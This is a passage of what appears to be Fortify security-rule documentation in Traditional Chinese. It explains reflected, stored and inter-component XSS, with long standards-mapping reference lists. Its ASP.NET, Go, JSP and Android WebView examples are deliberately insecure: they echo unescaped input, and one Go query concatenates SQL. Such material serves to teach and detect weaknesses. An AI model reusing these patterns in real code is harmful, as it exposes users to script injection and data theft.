[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[37] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[62] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.javascript.cross_site_scripting_handlebars_helper
Abstract
傳送未經驗證的資料至網路瀏覽器,會導致瀏覽器執行惡意的程式碼。
Explanation
Cross-site scripting (XSS) 弱點會在以下情況中出現:

1.資料從一個不可信賴的來源進入 Web 或行動應用程式。在 Inter-Component Communication XSS 案例中,不可信賴的來源為同一系統上其他元件所接收的資料。在行動環境中,這些是指在同一裝置上執行的應用程式。在 Reflected XSS 案例中,不可信賴的來源通常為網頁要求,而在 Persisted XSS (也可稱為 Stored XSS) 案例中,來源通常為資料庫或其他後端資料儲存區。


2.未經驗證且包含在動態內容中的資料將傳送給某個網頁使用者。

傳送到網頁瀏覽器的惡意內容經常是以 JavaScript 片段的形式出現,但是也可能包含 HTML、Flash 或者瀏覽器執行的任何其他程式碼類型。以 XSS 為基礎的攻擊手段花樣百出且幾乎無窮無盡,但是它們通常會傳輸 Cookie 或其他階段作業資訊之類的私人資料給攻擊者、將受害者重新導向到攻擊者控制的網頁內容,或者利用易受攻擊的網站,在使用者的機器上執行其他惡意操作。

有人認為在行動環境中,典型的 Web 應用程式弱點 (例如跨網站指令碼) 不會產生影響,因為使用者為何會攻擊自己呢?但是請謹記,行動平台的本質是從多種來源下載,並在相同裝置上一起執行的應用程式。在金融應用程式旁執行惡意程式碼的可能性很高,這必然會擴大行動應用程式的受攻擊面,將程序之間的通訊包括在內。

範例 1:以下 ASP.NET 程式碼片段會從 HTTP 要求中讀取員工 ID eid,並向使用者顯示。


String eid = Request["eid"];
...
EmployeeID.Text = eid;


其中,EmployeeID 是定義如下的伺服器端 ASP.NET 控制項:


<form runat="server">
...
<asp:Label id="EmployeeID" runat="server"/>
...
</form>


如果 eid 只包含標準英數字元,則這個範例中的程式碼會正確地執行。如果 eid 中有包含中繼字元或來源程式碼中的值,那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。

一開始,這似乎不會輕易受到攻擊。畢竟,誰會在自己的電腦中輸入會執行惡意程式碼的 URL?其實,真正的危險在於攻擊者會建立惡意的 URL,接著使用電子郵件或社交工程病毒誘騙受害者透過連結前往該 URL。當受害者按下該連結時,他們即不知不覺地透過易受攻擊的 Web 應用程式,將惡意內容資訊帶回他們自己的電腦。這個利用易受攻擊的 Web 應用程式進行攻擊的機制就是通常所知的 Reflected XSS。

範例 2:以下 ASP.NET 程式碼片段會在資料庫中查詢具有指定 ID 的員工,並列印相應的員工姓名。


...
string name = "";
using (SqlConnection conn = new SqlConnection(_ConnectionString))
{
string eid = Request["eid"];
SqlCommand cmd = new SqlCommand("SELECT * FROM emp WHERE id = @id", conn);
cmd.Parameters.AddWithValue("@id", eid);
conn.Open();
SqlDataReader objReader = cmd.ExecuteReader();

while (objReader.Read())
{
name = objReader["name"];
}
objReader.Close();
}
...

EmployeeName.Text = name;


其中,EmployeeName 是定義如下的伺服器端 ASP.NET 控制項:


<form runat="server">
...
<asp:Label id="EmployeeName" runat="server"/>
...
</form>


Example 2 所述,name 的值正常運作時,此程式碼也會正常運作,但如果該值不正常運作,則會完全無法避免程式碼遭受攻擊。此外,這個程式碼之所以看似不那麼危險,是因為 name 的值是從資料庫中讀取的,而顯然這些內容是由應用程式管理的。但是,如果 name 的值是從使用者提供的資料中產生,那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證,那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS),其性質特別狡詐,因為間接的資料儲存方式而難以辨別該威脅,且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript,所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。

如同範例中所示,XSS 的弱點是由 HTTP 回應中包含未經驗證資料的程式碼所引起的。XSS 攻擊有三種途徑可攻擊受害者:

- 如 Example 1 所述,會直接從 HTTP 要求中讀取資料,並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式,接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行,這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是,將惡意內容當作參數隱藏在公開發表的 URL 中,或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心,攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後,就會執行這些內容,並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者,或者執行其他惡意活動。

- 如 Example 2 所述,應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式,並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現:攻擊者把危險內容插入到之後會讀取的資料儲存區中,並包含在動態內容中。從攻擊者的角度來看,插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限,或者會與敏感資料進行互動,且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容,攻擊者可能會代替使用者去執行需要權限許可的作業,或者取得存取使用者專屬敏感資料的權限。

有許多現代的 Web 架構提供執行使用者輸入驗證的機制 (包括 Struts 和 Struts 2)。為了突顯未驗證的輸入來源,Fortify 安全編碼檢查規則會降低 Fortify Static Code Analyzer 所報告之問題的攻擊可能性,並在使用框架驗證機制時提供支援證據的指標,以動態重新排列其優先順序。我們將此功能稱為「內容相關性排名」。為了進一步協助 Fortify 使用者進行稽核程序,Fortify Software 安全研發團隊提供了資料驗證專案範本,該範本會依據套用到其輸入來源的驗證機制,按資料夾對問題進行分組。
References
[1] Anti-Cross Site Scripting Library MSDN
[2] Understanding Malicious Content Mitigation for Web Developers CERT
[3] HTML 4.01 Specification W3
[4] Tongbo Luo, Hao Hao, Wenliang Du, Yifei Wang, and Heng Yin Attacks on WebView in the Android System
[5] Erika Chin and David Wagner Bifocals: Analyzing WebView Vulnerabilities in Android Applications
[6] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[7] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[11] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[12] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[13] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[14] Standards Mapping - FIPS200 SI
[15] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[16] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[17] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[18] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[19] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[20] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[21] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[22] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[23] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[25] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[26] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[27] Standards Mapping - OWASP Top 10 2021 A03 Injection
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[35] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[36] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[37] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[38] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[39] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[40] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[41] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[42] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[43] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[62] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[63] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[64] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[65] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[66] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.dotnet.cross_site_scripting_inter_component_communication
Abstract
傳送未經驗證的資料至網頁瀏覽器,會導致瀏覽器執行惡意程式碼。
Explanation
Cross-Site Scripting (XSS) 弱點會在以下情況中出現:

1.資料從一個不可信賴的來源進入 Web 應用程式。在 Inter-Component Communication XSS 案例中,不可信賴的來源為同一系統上其他元件所接收的資料。在 Reflected XSS 案例中,不可信賴的來源通常為網頁要求,而在 Persisted XSS (也可稱為 Stored XSS) 案例中,來源通常為資料庫或其他後端資料存放區。

2.未經驗證且包含在動態內容中的資料將傳送給某個網頁使用者。

傳送到網頁瀏覽器的惡意內容經常是以 JavaScript 片段的形式出現,但是也可能包含 HTML、Flash 或者瀏覽器執行的任何其他程式碼類型。以 XSS 為基礎的攻擊手段花樣百出且幾乎無窮無盡,但是它們通常會傳輸 Cookie 或其他階段作業資訊之類的私人資料給攻擊者、將受害者重新導向到攻擊者控制的網頁內容,或者利用易受攻擊的網站,在使用者的機器上執行其他惡意操作。


範例 1:以下 Go 程式碼片段會從 HTTP 要求中讀取使用者名稱 user,並向使用者顯示。

func someHandler(w http.ResponseWriter, r *http.Request){
r.parseForm()
user := r.FormValue("user")
...
fmt.Fprintln(w, "Username is: ", user)
}


如果 user 只包含標準英數字元,則這個範例中的程式碼會正確地執行。如果 user 中有包含中繼字元或來源程式碼中的值,那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。

一開始,這似乎不會輕易受到攻擊。畢竟,誰會在自己的電腦中輸入會執行惡意程式碼的 URL?其實,真正的危險在於攻擊者會建立惡意的 URL,接著使用電子郵件或社交工程病毒誘騙受害者透過連結前往該 URL。當受害者按下該連結時,他們即不知不覺地透過易受攻擊的 Web 應用程式,將惡意內容資訊帶回他們自己的電腦。這個利用易受攻擊的 Web 應用程式進行攻擊的機制就是通常所知的 Reflected XSS。

範例 2:以下 Go 程式碼片段會查詢資料庫中具有指定 ID 的員工,然後列印相對應的員工姓名。

func someHandler(w http.ResponseWriter, r *http.Request){
...
row := db.QueryRow("SELECT name FROM users WHERE id =" + userid)
err := row.Scan(&name)
...
fmt.Fprintln(w, "Username is: ", name)
}


Example 1 所述,name 的值正常運作時,此程式碼也會正常運作,但如果該值不正常運作,則會完全無法避免程式碼遭受攻擊。此外,這個程式碼之所以看似不那麼危險,是因為 name 的值是從資料庫中讀取的,而顯然這些內容是由應用程式管理的。但是,如果 name 的值是從使用者提供的資料中產生,那麼資料庫可能會成為提供惡意內容的管道。如果沒有對所有儲存在資料庫中的資料進行適當的輸入驗證,那麼攻擊者即可在使用者的網頁瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS),其極其隱蔽,會因為間接的資料儲存方式而難以辨別該威脅,並會提高影響多個使用者的可能性。XSS 弱點會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript,所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。

如同範例中所示,XSS 弱點是由 HTTP 回應中包含未經驗證資料的程式碼所引起的。XSS 攻擊有三種途徑可攻擊受害者:

- 如 Example 1 所示,會直接從 HTTP 要求中讀取資料,並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式,接著這些危險內容就會回傳給使用者並由網頁瀏覽器執行時,就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是,將惡意內容當作參數隱藏在公開發表的 URL 中,或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心,攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後,就會執行這些內容,並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者,或者執行其他惡意活動。

- 如 Example 2 所示,應用程式會將危險資料儲存在資料庫或其他可信任的資料存放區中。這些危險資料隨後會被回讀到應用程式,並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現:攻擊者把危險內容插入到之後會讀取的資料儲存區中,並包含在動態內容中。從攻擊者的角度來看,插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限,或者會與敏感資料進行互動,且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容,攻擊者可能會代替使用者執行需要權限許可的操作,或者取得存取使用者專屬敏感資料的權限。

- 應用程式以外的來源會在資料庫或是其他資料存放區中儲存危險資料,且之後這些危險資料會被當作信賴的資料回讀到應用程式,並會包含在動態內容中。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[19] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[20] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2021 A03 Injection
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[39] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[40] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[63] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.golang.cross_site_scripting_inter_component_communication
Abstract
傳送未經驗證的資料至網路瀏覽器,會導致瀏覽器執行惡意的程式碼。
Explanation
Cross-site scripting (XSS) 弱點會在以下情況中出現:

1.資料從一個不可信賴的來源進入 Web 或行動應用程式。在 Inter-Component Communication XSS 案例中,不可信賴的來源為同一系統上其他元件所接收的資料。在行動環境中,這些是指在同一裝置上執行的應用程式。在 Reflected XSS 案例中,不可信賴的來源通常為網頁要求,而在 Persisted XSS (也可稱為 Stored XSS) 案例中,來源通常為資料庫或其他後端資料儲存區。


2.未經驗證且包含在動態內容中的資料將傳送給某個網頁使用者。

傳送到網頁瀏覽器的惡意內容經常是以 JavaScript 片段的形式出現,但是也可能包含 HTML、Flash 或者瀏覽器執行的任何其他程式碼類型。以 XSS 為基礎的攻擊手段花樣百出且幾乎無窮無盡,但是它們通常會傳輸 Cookie 或其他階段作業資訊之類的私人資料給攻擊者、將受害者重新導向到攻擊者控制的網頁內容,或者利用易受攻擊的網站,在使用者的機器上執行其他惡意操作。

有人認為在行動環境中,典型的 Web 應用程式弱點 (例如跨網站指令碼) 不會產生影響,因為使用者為何會攻擊自己呢?但是請謹記,行動平台的本質是從多種來源下載,並在相同裝置上一起執行的應用程式。在金融應用程式旁執行惡意程式碼的可能性很高,這必然會擴大行動應用程式的受攻擊面,將程序之間的通訊包括在內。

範例 1:以下程式碼會在 Android 的 WebView 中啟用 JavaScript (預設狀況下停用 JavaScript),並根據從 Android 用意接收的值載入頁面。


...
WebView webview = (WebView) findViewById(R.id.webview);
webview.getSettings().setJavaScriptEnabled(true);
String url = this.getIntent().getExtras().getString("url");
webview.loadUrl(url);
...


url 的值以 javascript: 開頭,隨後的 JavaScript 程式碼將在網頁範圍中的 WebView 內執行。

範例 2:以下 JSP 程式碼片段會從 HTTP 要求中讀取員工識別碼 eid,並將其向使用者顯示。


<% String eid = request.getParameter("eid"); %>
...
Employee ID: <%= eid %>


如果 eid 只包含標準英數字元,則這個範例中的程式碼會正確地執行。如果 eid 中有包含中繼字元或來源程式碼中的值,那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。

一開始,這似乎不會輕易受到攻擊。畢竟,誰會在自己的電腦中輸入會執行惡意程式碼的 URL?其實,真正的危險在於攻擊者會建立惡意的 URL,接著使用電子郵件或社交工程病毒誘騙受害者透過連結前往該 URL。當受害者按下該連結時,他們即不知不覺地透過易受攻擊的 Web 應用程式,將惡意內容資訊帶回他們自己的電腦。這個利用易受攻擊的 Web 應用程式進行攻擊的機制就是通常所知的 Reflected XSS。

